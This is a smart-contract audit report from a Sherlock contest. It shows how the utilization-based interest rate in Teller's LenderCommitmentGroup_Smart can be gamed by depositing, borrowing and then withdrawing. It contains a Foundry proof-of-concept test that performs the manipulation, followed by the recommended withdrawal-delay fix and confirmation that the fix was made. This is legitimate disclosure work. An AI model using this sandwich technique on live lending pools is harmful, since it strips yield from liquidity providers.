0x73696d616f - Interest rate in `LenderCommitmentGroup_Smart` may be easily manipulated by depositing, taking a loan and withdrawing

[sherlock-admin2]

0x73696d616f

high

Interest rate in LenderCommitmentGroup_Smart may be easily manipulated by depositing, taking a loan and withdrawing

Summary

LenderCommitmentGroup_Smart gets the interest directly from the utilization ratio, which may be gamed and a loan may be taken with lower interest rate at no risk.

Vulnerability Detail

The utilization ratio is the ratio between ongoing loans and principal deposited (plus interest and/minus liquidation premiums). As the values used for its calculations are the most recent ones and there is no constraint on depositing, borrowing or withdrawing in different periods, it is easy for borrowers to pick much better interest rates. The attack can be carried out as follows:

1. Deposit principal by calling LenderCommitmentGroup_Smart::addPrincipalToCommitmentGroup().
2. Take the loan out with the reduced interest rate.
3. Withdraw the shares corresponding to the borrowed principal.
   This attack was simulated in the following POC, which should be inserted in the test file in issue 'Drained lender due to LenderCommitmentGroup_Smart::acceptFundsForAcceptBid() _collateralAmount by STANDARD_EXPANSION_FACTOR multiplication':

function test_POC_bypassInterestRate() public {
    uint256 principalAmount = 1000e18;
    deal(address(DAI), user, principalAmount);
    vm.startPrank(user);

    // add principal to lender to get shares
    DAI.approve(address(lender), principalAmount);
    uint256 shares = lender.addPrincipalToCommitmentGroup(principalAmount, user);

    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    // borrow the principal
    uint256 collateralAmount = 1e18;
    uint256 loanAmount = principalAmount / 2;
    deal(address(WETH), user, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    uint256 bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        loanAmount,
        collateralAmount,
        0,
        address(WETH),
        user,
        0,
        2 days
    );
    vm.stopPrank();

    principalAmount = 500e18;
    deal(address(DAI), attacker, principalAmount);

    // attacker deposits principal, takes a loan and withdraws principal
    // getting a much better interest rate

    vm.startPrank(attacker);

    // add principal to lender to get shares
    // if the line below is commented, interest rate would be 400 instead of 266
    DAI.approve(address(lender), principalAmount);
    shares = lender.addPrincipalToCommitmentGroup(principalAmount, attacker);

    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    assertEq(lender.getMinInterestRate(), 266);

    // borrow the principal
    collateralAmount = 1e18;
    loanAmount = principalAmount;
    deal(address(WETH), attacker, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        loanAmount,
        collateralAmount,
        0,
        address(WETH),
        attacker,
        lender.getMinInterestRate(),
        2 days
    );

    // attacker withdraws the DAI deposit
    // poolSharesToken are burned incorrectly before calculating exchange rate
    // so this must be fixed or exchange rate will be 1
    vm.mockCall(
        address(lender.poolSharesToken()), 
        abi.encodeWithSignature("burn(address,uint256)", attacker, shares),
        ""
    );
    lender.burnSharesToWithdrawEarnings(shares, attacker);

    // all principal was withdrawn for loans but attacker got a decent interest rate
    assertEq(lender.getPrincipalAmountAvailableToBorrow(), 0);

    vm.stopPrank();
}

Impact

Less yield for LPs due to the borrower getting much better interest rates for free.

Code Snippet

LenderCommitmentGroup_Smart::getPoolUtilizationRatio()

function getPoolUtilizationRatio() public view returns (uint16) {

    if (getPoolTotalEstimatedValue() == 0) {
        return 0;
    }

    return uint16(  Math.min(   
        getTotalPrincipalTokensOutstandingInActiveLoans()  * 10000  / 
        getPoolTotalEstimatedValue() , 10000  ));
}   

Tool used

Manual Review

Vscode

Foundry

Recommendation

LPs could require a small delay to burn their shares to prevent abuses such as this one.

[ethereumdegen]

Similar soln as #44 , #48

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits:
teller-protocol/teller-protocol-v2-audit-2024#20

[nevillehuang]

I believe this issue, #44 and #48 are duplicates. The root cause of allowing sandwiching via immediate deposit (addPrincipalToCommitmentGroup) - withdrawals (burnSharesToWithdrawEarnings ) cycles results in 3 impacts:

1. Allow reduction of interest rates for borrowing due to a increase in totalPrincipalTokensCommitted from deposits. (Sandwich borrowing by front-running with a deposit and then back-running with a withdraw)
2. Extract interest from an increase in totalInterestCollected from deposits (Sandwich repayment/liquidation by front-running with a deposit and then back-running with a withdraw)
3. Avoid loss from tokenDifferenceFromLiquidations decrease from liquidations (Sandwich liquidation by front-running with a withdraw and then back-running with a deposit to reenter)

The same fix of a withdrawal delay was applied to all issues.

[sherlock-admin2]

The Lead Senior Watson signed off on the fix.